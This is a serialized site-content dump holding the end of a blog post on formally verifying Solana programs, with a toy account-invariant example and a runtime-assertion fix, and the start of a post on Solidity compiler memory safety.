my_account",{"type":26,"tag":475,"props":27772,"children":27773},{"style":714},[27774],{"type":32,"value":179},{"type":26,"tag":475,"props":27776,"children":27777},{"style":505},[27778],{"type":32,"value":22803},{"type":26,"tag":475,"props":27780,"children":27781},{"style":499},[27782],{"type":32,"value":22631},{"type":26,"tag":475,"props":27784,"children":27785},{"style":505},[27786],{"type":32,"value":22636},{"type":26,"tag":475,"props":27788,"children":27789},{"style":499},[27790],{"type":32,"value":637},{"type":26,"tag":475,"props":27792,"children":27793},{"style":505},[27794],{"type":32,"value":27795},"Acc",{"type":26,"tag":475,"props":27797,"children":27798},{"style":499},[27799],{"type":32,"value":5706},{"type":26,"tag":475,"props":27801,"children":27802},{"class":477,"line":558},[27803],{"type":26,"tag":475,"props":27804,"children":27805},{"style":499},[27806],{"type":32,"value":3607},{"type":26,"tag":475,"props":27808,"children":27809},{"class":477,"line":582},[27810],{"type":26,"tag":475,"props":27811,"children":27812},{"emptyLinePlaceholder":18},[27813],{"type":32,"value":545},{"type":26,"tag":475,"props":27815,"children":27816},{"class":477,"line":596},[27817],{"type":26,"tag":475,"props":27818,"children":27819},{"style":499},[27820],{"type":32,"value":20478},{"type":26,"tag":475,"props":27822,"children":27823},{"class":477,"line":610},[27824,27829,27833],{"type":26,"tag":475,"props":27825,"children":27826},{"style":499},[27827],{"type":32,"value":27828},"#[invariant(bad ",{"type":26,"tag":475,"props":27830,"children":27831},{"style":714},[27832],{"type":32,"value":8287},{"type":26,"tag":475,"props":27834,"children":27835},{"style":499},[27836],{"type":32,"value":27837}," false)]\n",{"type":26,"tag":475,"props":27839,"children":27840},{"class":477,"line":650},[27841,27845,27850],{"type":26,"tag":475,"props":27842,"children":27843},{"style":482},[27844],{"type":32,"value":9111},{"type":26,"tag":475,"props":27846,"children":27847},{"style":505},[27848],{"type":32,"value":27849}," Acc",{"type":26,"tag":475,"props":27851,"children":27852},{"style":499},[27853],{"type":32,"value":579},{"type":26,"tag":475,"props":27855,"children":27856},{"class":477,"line":679},[27857,27861,27866,27870],{"type":26,"tag":475,"props":27858,"children":27859},{"style":482},[27860],{"type":32,"value":20551},{"type":26,"tag":475,"props":27862,"children":27863},{"style":2375},[27864],{"type":32,"value":27865}," bad",{"type":26,"tag":475,"props":27867,"children":27868},{"style":714},[27869],{"type":32,"value":179},{"type":26,"tag":475,"props":27871,"children":27872},{"style":505},[27873],{"type":32,"value":27874}," bool\n",{"type":26,"tag":475,"props":27876,"children":27877},{"class":477,"line":735},[27878],{"type":26,"tag":475,"props":27879,"children":27880},{"style":499},[27881],{"type":32,"value":3607},{"type":26,"tag":475,"props":27883,"children":27884},{"class":477,"line":744},[27885],{"type":26,"tag":475,"props":27886,"children":27887},{"emptyLinePlaceholder":18},[27888],{"type":32,"value":545},{"type":26,"tag":475,"props":27890,"children":27891},{"class":477,"line":753},[27892,27897,27901],{"type":26,"tag":475,"props":27893,"children":27894},{"style":482},[27895],{"type":32,"value":27896},"impl",{"type":26,"tag":475,"props":27898,"children":27899},{"style":505},[27900],{"type":32,"value":27849},{"type":26,"tag":475,"props":27902,"children":27903},{"style":499},[27904],{"type":32,"value":579},{"type":26,"tag":475,"props":27906,"children":27907},{"class":477,"line":761},[27908,27912,27916,27921],{"type":26,"tag":475,"props":27909,"children":27910},{"style":482},[27911],{"type":32,"value":20551},{"type":26,"tag":475,"props":27913,"children":27914},{"style":482},[27915],{"type":32,"value":13402},{"type":26,"tag":475,"props":27917,"children":27918},{"style":493},[27919],{"type":32,"value":27920}," put_into_bad_state",{"type":26,"tag":475,"props":27922,"children":27923},{"style":499},[27924],{"type":32,"value":882},{"type":26,"tag":475,"props":27926,"children":27927},{"class":477,"line":770},[27928,27932,27936,27941,27945,27949],{"type":26,"tag":475,"props":27929,"children":27930},{"style":482},[27931],{"type":32,"value":27061},{"type":26,"tag":475,"props":27933,"children":27934},{"style":714},[27935],{"type":32,"value":353},{"type":26,"tag":475,"props":27937,"children":27938},{"style":499},[27939],{"type":32,"value":27940},"bad ",{"type":26,"tag":475,"props":27942,"children":27943},{"style":714},[27944],{"type":32,"value":786},{"type":26,"tag":475,"props":27946,"children":27947},{"style":482},[27948],{"type":32,"value":1214},{"type":26,"tag":475,"props":27950,"children":27951},{"style":499},[27952],{"type":32,"value":2729},{"type":26,"tag":475,"props":27954,"children":27955},{"class":477,"line":794},[27956],{"type":26,"tag":475,"props":27957,"children":27958},{"style":499},[27959],{"type":32,"value":851},{"type":26,"tag":475,"props":27961,"children":27962},{"class":477,"line":831},[27963],{"type":26,"tag":475,"props":27964,"children":27965},{"style":499},[27966],{"type":32,"value":3607},{"type":26,"tag":475,"props":27968,"children":27969},{"class":477,"line":845},[27970],{"type":26,"tag":475,"props":27971,"children":27972},{"emptyLinePlaceholder":18},[27973],{"type":32,"value":545},{"type":26,"tag":475,"props":27975,"children":27976},{"class":477,"line":854},[27977],{"type":26,"tag":475,"props":27978,"children":27979},{"style":552},[27980],{"type":32,"value":27981},"// Instruction handler:\n",{"type":26,"tag":475,"props":27983,"children":27984},{"class":477,"line":862},[27985,27989,27994,27998,28002,28006,28010,28014,28019,28023,28027,28031],{"type":26,"tag":475,"props":27986,"children":27987},{"style":482},[27988],{"type":32,"value":19974},{"type":26,"tag":475,"props":27990,"children":27991},{"style":493},[27992],{"type":32,"value":27993}," hard_to_verify",{"type":26,"tag":475,"props":27995,"children":27996},{"style":499},[27997],{"type":32,"value":626},{"type":26,"tag":475,"props":27999,"children":28000},{"style":2375},[28001],{"type":32,"value":19988},{"type":26,"tag":475,"props":28003,"children":28004},{"style":714},[28005],{"type":32,"value":179},{"type":26,"tag":475,"props":28007,"children":28008},{"style":505},[28009],{"type":32,"value":19997},{"type":26,"tag":475,"props":28011,"children":28012},{"style":499},[28013],{"type":32,"value":5519},{"type":26,"tag":475,"props":28015,"children":28016},{"style":505},[28017],{"type":32,"value":28018},"MyCtx",{"type":26,"tag":475,"props":28020,"children":28021},{"style":499},[28022],{"type":32,"value":20154},{"type":26,"tag":475,"props":28024,"children":28025},{"style":714},[28026],{"type":32,"value":13464},{"type":26,"tag":475,"props":28028,"children":28029},{"style":505},[28030],{"type":32,"value":13469},{"type":26,"tag":475,"props":28032,"children":28033},{"style":499},[28034],{"type":32,"value":20039},{"type":26,"tag":475,"props":28036,"children":28037},{"class":477,"line":885},[28038,28043,28047,28051,28056],{"type":26,"tag":475,"props":28039,"children":28040},{"style":493},[28041],{"type":32,"value":28042}," invoke_signed",{"type":26,"tag":475,"props":28044,"children":28045},{"style":499},[28046],{"type":32,"value":626},{"type":26,"tag":475,"props":28048,"children":28049},{"style":714},[28050],{"type":32,"value":9300},{"type":26,"tag":475,"props":28052,"children":28053},{"style":499},[28054],{"type":32,"value":28055},"); ",{"type":26,"tag":475,"props":28057,"children":28058},{"style":552},[28059],{"type":32,"value":28060},"// Cross-program invocation\n",{"type":26,"tag":475,"props":28062,"children":28063},{"class":477,"line":913},[28064],{"type":26,"tag":475,"props":28065,"children":28066},{"emptyLinePlaceholder":18},[28067],{"type":32,"value":545},{"type":26,"tag":475,"props":28069,"children":28070},{"class":477,"line":926},[28071,28075,28080,28084,28088,28092],{"type":26,"tag":475,"props":28072,"children":28073},{"style":482},[28074],{"type":32,"value":2705},{"type":26,"tag":475,"props":28076,"children":28077},{"style":2375},[28078],{"type":32,"value":28079}," invoke_res",{"type":26,"tag":475,"props":28081,"children":28082},{"style":714},[28083],{"type":32,"value":2383},{"type":26,"tag":475,"props":28085,"children":28086},{"style":714},[28087],{"type":32,"value":25000},{"type":26,"tag":475,"props":28089,"children":28090},{"style":499},[28091],{"type":32,"value":16933},{"type":26,"tag":475,"props":28093,"children":28094},{"style":552},[28095],{"type":32,"value":28096},"// fetch result of invocation\n",{"type":26,"tag":475,"props":28098,"children":28099},{"class":477,"line":948},[28100,28104,28108,28112,28117],{"type":26,"tag":475,"props":28101,"children":28102},{"style":586},[28103],{"type":32,"value":11988},{"type":26,"tag":475,"props":28105,"children":28106},{"style":2375},[28107],{"type":32,"value":28079},{"type":26,"tag":475,"props":28109,"children":28110},{"style":714},[28111],{"type":32,"value":2990},{"type":26,"tag":475,"props":28113,"children":28114},{"style":903},[28115],{"type":32,"value":28116}," 5",{"type":26,"tag":475,"props":28118,"children":28119},{"style":499},[28120],{"type":32,"value":579},{"type":26,"tag":475,"props":28122,"children":28123},{"class":477,"line":966},[28124,28128,28132,28137,28141,28146,28151],{"type":26,"tag":475,"props":28125,"children":28126},{"style":2375},[28127],{"type":32,"value":25887},{"type":26,"tag":475,"props":28129,"children":28130},{"style":714},[28131],{"type":32,"value":353},{"type":26,"tag":475,"props":28133,"children":28134},{"style":499},[28135],{"type":32,"value":28136},"my_account",{"type":26,"tag":475,"props":28138,"children":28139},{"style":714},[28140],{"type":32,"value":353},{"type":26,"tag":475,"props":28142,"children":28143},{"style":493},[28144],{"type":32,"value":28145},"put_into_bad_state",{"type":26,"tag":475,"props":28147,"children":28148},{"style":499},[28149],{"type":32,"value":28150},"(); ",{"type":26,"tag":475,"props":28152,"children":28153},{"style":552},[28154],{"type":32,"value":28155},"// corrupt our account\n",{"type":26,"tag":475,"props":28157,"children":28158},{"class":477,"line":979},[28159],{"type":26,"tag":475,"props":28160,"children":28161},{"style":499},[28162],{"type":32,"value":851},{"type":26,"tag":475,"props":28164,"children":28165},{"class":477,"line":1006},[28166,28170],{"type":26,"tag":475,"props":28167,"children":28168},{"style":505},[28169],{"type":32,"value":14040},{"type":26,"tag":475,"props":28171,"children":28172},{"style":499},[28173],{"type":32,"value":14045},{"type":26,"tag":475,"props":28175,"children":28176},{"class":477,"line":1046},[28177],{"type":26,"tag":475,"props":28178,"children":28179},{"style":499},[28180],{"type":32,"value":3607},{"type":26,"tag":35,"props":28182,"children":28183},{},[28184,28186,28191],{"type":32,"value":28185},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":26,"tag":53,"props":28187,"children":28189},{"className":28188},[],[28190],{"type":32,"value":28136},{"type":32,"value":28192},") will be maintained as long as the instruction succeeds.",{"type":26,"tag":35,"props":28194,"children":28195},{},[28196],{"type":32,"value":28197},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":26,"tag":35,"props":28199,"children":28200},{},[28201,28203,28208],{"type":32,"value":28202},"However, we can ",{"type":26,"tag":2615,"props":28204,"children":28205},{},[28206],{"type":32,"value":28207},"augment",{"type":32,"value":28209}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":26,"tag":35,"props":28211,"children":28212},{},[28213],{"type":32,"value":28214},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":26,"tag":465,"props":28216,"children":28218},{"code":28217,"language":2684,"meta":7,"className":2685,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n\n // Enforce invariants at runtime\n assert(ctx.my_account.invariant());\n\n Ok(())\n}\n",[28219],{"type":26,"tag":53,"props":28220,"children":28221},{"__ignoreMap":7},[28222,28230,28281,28304,28311,28338,28361,28392,28399,28406,28414,28449,28456,28467],{"type":26,"tag":475,"props":28223,"children":28224},{"class":477,"line":478},[28225],{"type":26,"tag":475,"props":28226,"children":28227},{"style":714},[28228],{"type":32,"value":28229},"...\n",{"type":26,"tag":475,"props":28231,"children":28232},{"class":477,"line":516},[28233,28237,28241,28245,28249,28253,28257,28261,28265,28269,28273,28277],{"type":26,"tag":475,"props":28234,"children":28235},{"style":482},[28236],{"type":32,"value":19974},{"type":26,"tag":475,"props":28238,"children":28239},{"style":493},[28240],{"type":32,"value":27993},{"type":26,"tag":475,"props":28242,"children":28243},{"style":499},[28244],{"type":32,"value":626},{"type":26,"tag":475,"props":28246,"children":28247},{"style":2375},[28248],{"type":32,"value":19988},{"type":26,"tag":475,"props":28250,"children":28251},{"style":714},[28252],{"type":32,"value":179},{"type":26,"tag":475,"props":28254,"children":28255},{"style":505},[28256],{"type":32,"value":19997},{"type":26,"tag":475,"props":28258,"children":28259},{"style":499},[28260],{"type":32,"value":5519},{"type":26,"tag":475,"props":28262,"children":28263},{"style":505},[28264],{"type":32,"value":28018},{"type":26,"tag":475,"props":28266,"children":28267},{"style":499},[28268],{"type":32,"value":20154},{"type":26,"tag":475,"props":28270,"children":28271},{"style":714},[28272],{"type":32,"value":13464},{"type":26,"tag":475,"props":28274,"children":28275},{"style":505},[28276],{"type":32,"value":13469},{"type":26,"tag":475,"props":28278,"children":28279},{"style":499},[28280],{"type":32,"value":20039},{"type":26,"tag":475,"props":28282,"children":28283},{"class":477,"line":539},[28284,28288,28292,28296,28300],{"type":26,"tag":475,"props":28285,"children":28286},{"style":493},[28287],{"type":32,"value":28042},{"type":26,"tag":475,"props":28289,"children":28290},{"style":499},[28291],{"type":32,"value":626},{"type":26,"tag":475,"props":28293,"children":28294},{"style":714},[28295],{"type":32,"value":9300},{"type":26,"tag":475,"props":28297,"children":28298},{"style":499},[28299],{"type":32,"value":28055},{"type":26,"tag":475,"props":28301,"children":28302},{"style":552},[28303],{"type":32,"value":28060},{"type":26,"tag":475,"props":28305,"children":28306},{"class":477,"line":548},[28307],{"type":26,"tag":475,"props":28308,"children":28309},{"emptyLinePlaceholder":18},[28310],{"type":32,"value":545},{"type":26,"tag":475,"props":28312,"children":28313},{"class":477,"line":558},[28314,28318,28322,28326,28330,28334],{"type":26,"tag":475,"props":28315,"children":28316},{"style":482},[28317],{"type":32,"value":2705},{"type":26,"tag":475,"props":28319,"children":28320},{"style":2375},[28321],{"type":32,"value":28079},{"type":26,"tag":475,"props":28323,"children":28324},{"style":714},[28325],{"type":32,"value":2383},{"type":26,"tag":475,"props":28327,"children":28328},{"style":714},[28329],{"type":32,"value":25000},{"type":26,"tag":475,"props":28331,"children":28332},{"style":499},[28333],{"type":32,"value":16933},{"type":26,"tag":475,"props":28335,"children":28336},{"style":552},[28337],{"type":32,"value":28096},{"type":26,"tag":475,"props":28339,"children":28340},{"class":477,"line":582},[28341,28345,28349,28353,28357],{"type":26,"tag":475,"props":28342,"children":28343},{"style":586},[28344],{"type":32,"value":11988},{"type":26,"tag":475,"props":28346,"children":28347},{"style":2375},[28348],{"type":32,"value":28079},{"type":26,"tag":475,"props":28350,"children":28351},{"style":714},[28352],{"type":32,"value":2990},{"type":26,"tag":475,"props":28354,"children":28355},{"style":903},[28356],{"type":32,"value":28116},{"type":26,"tag":475,"props":28358,"children":28359},{"style":499},[28360],{"type":32,"value":579},{"type":26,"tag":475,"props":28362,"children":28363},{"class":477,"line":596},[28364,28368,28372,28376,28380,28384,28388],{"type":26,"tag":475,"props":28365,"children":28366},{"style":2375},[28367],{"type":32,"value":25887},{"type":26,"tag":475,"props":28369,"children":28370},{"style":714},[28371],{"type":32,"value":353},{"type":26,"tag":475,"props":28373,"children":28374},{"style":499},[28375],{"type":32,"value":28136},{"type":26,"tag":475,"props":28377,"children":28378},{"style":714},[28379],{"type":32,"value":353},{"type":26,"tag":475,"props":28381,"children":28382},{"style":493},[28383],{"type":32,"value":28145},{"type":26,"tag":475,"props":28385,"children":28386},{"style":499},[28387],{"type":32,"value":28150},{"type":26,"tag":475,"props":28389,"children":28390},{"style":552},[28391],{"type":32,"value":28155},{"type":26,"tag":475,"props":28393,"children":28394},{"class":477,"line":610},[28395],{"type":26,"tag":475,"props":28396,"children":28397},{"style":499},[28398],{"type":32,"value":851},{"type":26,"tag":475,"props":28400,"children":28401},{"class":477,"line":650},[28402],{"type":26,"tag":475,"props":28403,"children":28404},{"emptyLinePlaceholder":18},[28405],{"type":32,"value":545},{"type":26,"tag":475,"props":28407,"children":28408},{"class":477,"line":679},[28409],{"type":26,"tag":475,"props":28410,"children":28411},{"style":552},[28412],{"type":32,"value":28413}," // Enforce invariants at runtime\n",{"type":26,"tag":475,"props":28415,"children":28416},{"class":477,"line":735},[28417,28421,28425,28429,28433,28437,28441,28445],{"type":26,"tag":475,"props":28418,"children":28419},{"style":493},[28420],{"type":32,"value":18948},{"type":26,"tag":475,"props":28422,"children":28423},{"style":499},[28424],{"type":32,"value":626},{"type":26,"tag":475,"props":28426,"children":28427},{"style":2375},[28428],{"type":32,"value":19988},{"type":26,"tag":475,"props":28430,"children":28431},{"style":714},[28432],{"type":32,"value":353},{"type":26,"tag":475,"props":28434,"children":28435},{"style":499},[28436],{"type":32,"value":28136},{"type":26,"tag":475,"props":28438,"children":28439},{"style":714},[28440],{"type":32,"value":353},{"type":26,"tag":475,"props":28442,"children":28443},{"style":493},[28444],{"type":32,"value":21486},{"type":26,"tag":475,"props":28446,"children":28447},{"style":499},[28448],{"type":32,"value":2494},{"type":26,"tag":475,"props":28450,"children":28451},{"class":477,"line":744},[28452],{"type":26,"tag":475,"props":28453,"children":28454},{"emptyLinePlaceholder":18},[28455],{"type":32,"value":545},{"type":26,"tag":475,"props":28457,"children":28458},{"class":477,"line":753},[28459,28463],{"type":26,"tag":475,"props":28460,"children":28461},{"style":505},[28462],{"type":32,"value":14040},{"type":26,"tag":475,"props":28464,"children":28465},{"style":499},[28466],{"type":32,"value":14045},{"type":26,"tag":475,"props":28468,"children":28469},{"class":477,"line":761},[28470],{"type":26,"tag":475,"props":28471,"children":28472},{"style":499},[28473],{"type":32,"value":3607},{"type":26,"tag":35,"props":28475,"children":28476},{},[28477,28479,28484,28486,28491,28493,28498],{"type":32,"value":28478},"Here, we explicitly ",{"type":26,"tag":53,"props":28480,"children":28482},{"className":28481},[],[28483],{"type":32,"value":19692},{"type":32,"value":28485}," that our invariants hold at ",{"type":26,"tag":2615,"props":28487,"children":28488},{},[28489],{"type":32,"value":28490},"runtime",{"type":32,"value":28492}," which allows us to be assured that ",{"type":26,"tag":53,"props":28494,"children":28496},{"className":28495},[],[28497],{"type":32,"value":28136},{"type":32,"value":28499}," will not enter a bad state as a result of some unverifiable behavior.",{"type":26,"tag":35,"props":28501,"children":28502},{},[28503],{"type":32,"value":28504},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":26,"tag":27,"props":28506,"children":28508},{"id":28507},"challenges-of-formal-verification-on-solana",[28509],{"type":32,"value":28510},"Challenges of formal verification on Solana",{"type":26,"tag":41,"props":28512,"children":28514},{"id":28513},"expensive-computation",[28515],{"type":32,"value":28516},"Expensive computation",{"type":26,"tag":35,"props":28518,"children":28519},{},[28520,28522,28527],{"type":32,"value":28521},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":26,"tag":2615,"props":28523,"children":28524},{},[28525],{"type":32,"value":28526},"path explosion",{"type":32,"value":28528},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":26,"tag":35,"props":28530,"children":28531},{},[28532,28534,28539],{"type":32,"value":28533},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":26,"tag":2615,"props":28535,"children":28536},{},[28537],{"type":32,"value":28538},"formal verification friendly",{"type":32,"value":28540},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":26,"tag":35,"props":28542,"children":28543},{},[28544,28546,28551,28553,28558],{"type":32,"value":28545},"For example, when verifying things like the uniqueness of a ",{"type":26,"tag":53,"props":28547,"children":28549},{"className":28548},[],[28550],{"type":32,"value":21106},{"type":32,"value":28552}," in a ",{"type":26,"tag":53,"props":28554,"children":28556},{"className":28555},[],[28557],{"type":32,"value":16917},{"type":32,"value":28559},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":26,"tag":35,"props":28561,"children":28562},{},[28563,28565,28570,28572,28577,28579,28584,28586,28591,28593,28598,28600,28605],{"type":32,"value":28564},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":26,"tag":53,"props":28566,"children":28568},{"className":28567},[],[28569],{"type":32,"value":16917},{"type":32,"value":28571}," or a 32-byte ",{"type":26,"tag":53,"props":28573,"children":28575},{"className":28574},[],[28576],{"type":32,"value":21106},{"type":32,"value":28578},". Instead, our tool can substitute in ",{"type":26,"tag":2615,"props":28580,"children":28581},{},[28582],{"type":32,"value":28583},"cheaper",{"type":32,"value":28585}," types and functions, such as a 4-byte ",{"type":26,"tag":53,"props":28587,"children":28589},{"className":28588},[],[28590],{"type":32,"value":21106},{"type":32,"value":28592}," struct and a fixed-size, array-backed ",{"type":26,"tag":53,"props":28594,"children":28596},{"className":28595},[],[28597],{"type":32,"value":16917},{"type":32,"value":28599}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":26,"tag":2615,"props":28601,"children":28602},{},[28603],{"type":32,"value":28604},"much",{"type":32,"value":28606}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":26,"tag":35,"props":28608,"children":28609},{},[28610],{"type":32,"value":28611},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":26,"tag":41,"props":28613,"children":28615},{"id":28614},"runtime-environment",[28616],{"type":32,"value":28617},"Runtime Environment",{"type":26,"tag":35,"props":28619,"children":28620},{},[28621],{"type":32,"value":28622},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":26,"tag":35,"props":28624,"children":28625},{},[28626],{"type":32,"value":28627},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":26,"tag":35,"props":28629,"children":28630},{},[28631],{"type":32,"value":28632},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":26,"tag":27,"props":28634,"children":28635},{"id":2533},[28636],{"type":32,"value":2536},{"type":26,"tag":35,"props":28638,"children":28639},{},[28640],{"type":32,"value":28641},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":26,"tag":35,"props":28643,"children":28644},{},[28645],{"type":32,"value":28646},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":26,"tag":18502,"props":28648,"children":28649},{},[],{"type":26,"tag":35,"props":28651,"children":28652},{},[28653],{"type":26,"tag":2615,"props":28654,"children":28655},{},[28656,28658,28663,28664,28668],{"type":32,"value":28657},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":26,"tag":116,"props":28659,"children":28661},{"href":18585,"rel":28660},[120],[28662],{"type":32,"value":18589},{"type":32,"value":18591},{"type":26,"tag":116,"props":28665,"children":28666},{"href":18594},[28667],{"type":32,"value":18597},{"type":32,"value":353},{"type":26,"tag":2548,"props":28670,"children":28671},{},[28672],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":28674},[28675,28681,28685,28690,28696,28700],{"id":18658,"depth":516,"text":18661,"children":28676},[28677,28678,28679,28680],{"id":18664,"depth":539,"text":18667},{"id":18732,"depth":539,"text":18735},{"id":19612,"depth":539,"text":19615},{"id":19652,"depth":539,"text":19655},{"id":19705,"depth":516,"text":28682,"children":28683},"Specification: How can we describe what we want our program to do?",[28684],{"id":19818,"depth":539,"text":19821},{"id":21178,"depth":516,"text":21181,"children":28686},[28687,28688,28689],{"id":21855,"depth":539,"text":21858},{"id":22140,"depth":539,"text":22143},{"id":22284,"depth":539,"text":22287},{"id":22425,"depth":516,"text":22428,"children":28691},[28692,28693,28694,28695],{"id":22496,"depth":539,"text":22499},{"id":24339,"depth":539,"text":24342},{"id":25141,"depth":539,"text":22488},{"id":27667,"depth":539,"text":22493},{"id":28507,"depth":516,"text":28510,"children":28697},[28698,28699],{"id":28513,"depth":539,"text":28516},{"id":28614,"depth":539,"text":28617},{"id":2533,"depth":516,"text":2536},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":28705,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":28706,"description":28707,"author":5432,"image":28708,"date":28710,"isFeatured":18,"onBlogPage":18,"tags":28711,"body":28713,"_type":2566,"_id":30133,"_source":2568,"_file":30134,"_stem":30135,"_extension":2571},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":28709,"height":17,"width":17},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[4185,28712],"compiler",{"type":23,"children":28714,"toc":30124},[28715,28721,28757,28769,28775,28797,28810,28958,28979,28984,29005,29010,29018,29023,29028,29033,29039,29058,29063,29084,29147,29160,29190,29210,29237,29242,29255,29260,29265,29278,29309,29332,29486,29504,29555,29574,29599,29604,29610,29637,29657,29685,29690,29712,29731,29739,29750,29755,29771,30028,30036,30041,30045,30050,30055,30120],{"type":26,"tag":27,"props":28716,"children":28718},{"id":28717},"introduction",[28719],{"type":32,"value":28720},"Introduction",{"type":26,"tag":35,"props":28722,"children":28723},{},[28724,28726,28732,28733,28737,28739,28746,28748,28755],{"type":32,"value":28725},"What does ",{"type":26,"tag":53,"props":28727,"children":28729},{"className":28728},[],[28730],{"type":32,"value":28731},"memory-safe",{"type":32,"value":6171},{"type":26,"tag":2615,"props":28734,"children":28735},{},[28736],{"type":32,"value":8998},{"type":32,"value":28738}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":26,"tag":116,"props":28740,"children":28743},{"href":28741,"rel":28742},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[120],[28744],{"type":32,"value":28745},"presents some requirements",{"type":32,"value":28747},", but is production code that ",{"type":26,"tag":116,"props":28749,"children":28752},{"href":28750,"rel":28751},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[120],[28753],{"type":32,"value":28754},"violates these requirements",{"type":32,"value":28756}," necessarily unsafe?",{"type":26,"tag":35,"props":28758,"children":28759},{},[28760,28762,28767],{"type":32,"value":28761},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":26,"tag":2615,"props":28763,"children":28764},{},[28765],{"type":32,"value":28766},"memory-safety",{"type":32,"value":28768}," actually means.",{"type":26,"tag":27,"props":28770,"children":28772},{"id":28771},"compiler-pipeline",[28773],{"type":32,"value":28774},"Compiler Pipeline",{"type":26,"tag":35,"props":28776,"children":28777},{},[28778,28780,28787,28789,28796],{"type":32,"value":28779},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":26,"tag":116,"props":28781,"children":28784},{"href":28782,"rel":28783},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[120],[28785],{"type":32,"value":28786},"released in v0.8.13",{"type":32,"value":28788},". Compilation happens ",{"type":26,"tag":116,"props":28790,"children":28793},{"href":28791,"rel":28792},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[120],[28794],{"type":32,"value":28795},"in two main steps",{"type":32,"value":179},{"type":26,"tag":181,"props":28798,"children":28799},{},[28800,28805],{"type":26,"tag":86,"props":28801,"children":28802},{},[28803],{"type":32,"value":28804},"Solidity to YUL IR",{"type":26,"tag":86,"props":28806,"children":28807},{},[28808],{"type":32,"value":28809},"YUL IR to EVM opcodes",{"type":26,"tag":465,"props":28811,"children":28815},{"className":28812,"code":28813,"language":28814,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark"," if (m_viaIR || m_generateIR || m_generateEwasm)\n generateIR(*contract);\n if (m_generateEvmBytecode)\n {\n if (m_viaIR)\n generateEVMFromIR(*contract);\n else\n compileContract(*contract, otherCompilers);\n }\n","cpp",[28816],{"type":26,"tag":53,"props":28817,"children":28818},{"__ignoreMap":7},[28819,28849,28870,28882,28890,28902,28922,28930,28951],{"type":26,"tag":475,"props":28820,"children":28821},{"class":477,"line":478},[28822,28826,28831,28835,28840,28844],{"type":26,"tag":475,"props":28823,"children":28824},{"style":586},[28825],{"type":32,"value":11988},{"type":26,"tag":475,"props":28827,"children":28828},{"style":499},[28829],{"type":32,"value":28830}," (m_viaIR ",{"type":26,"tag":475,"props":28832,"children":28833},{"style":714},[28834],{"type":32,"value":22127},{"type":26,"tag":475,"props":28836,"children":28837},{"style":499},[28838],{"type":32,"value":28839}," m_generateIR ",{"type":26,"tag":475,"props":28841,"children":28842},{"style":714},[28843],{"type":32,"value":22127},{"type":26,"tag":475,"props":28845,"children":28846},{"style":499},[28847],{"type":32,"value":28848}," m_generateEwasm)\n",{"type":26,"tag":475,"props":28850,"children":28851},{"class":477,"line":516},[28852,28857,28861,28865],{"type":26,"tag":475,"props":28853,"children":28854},{"style":493},[28855],{"type":32,"value":28856}," 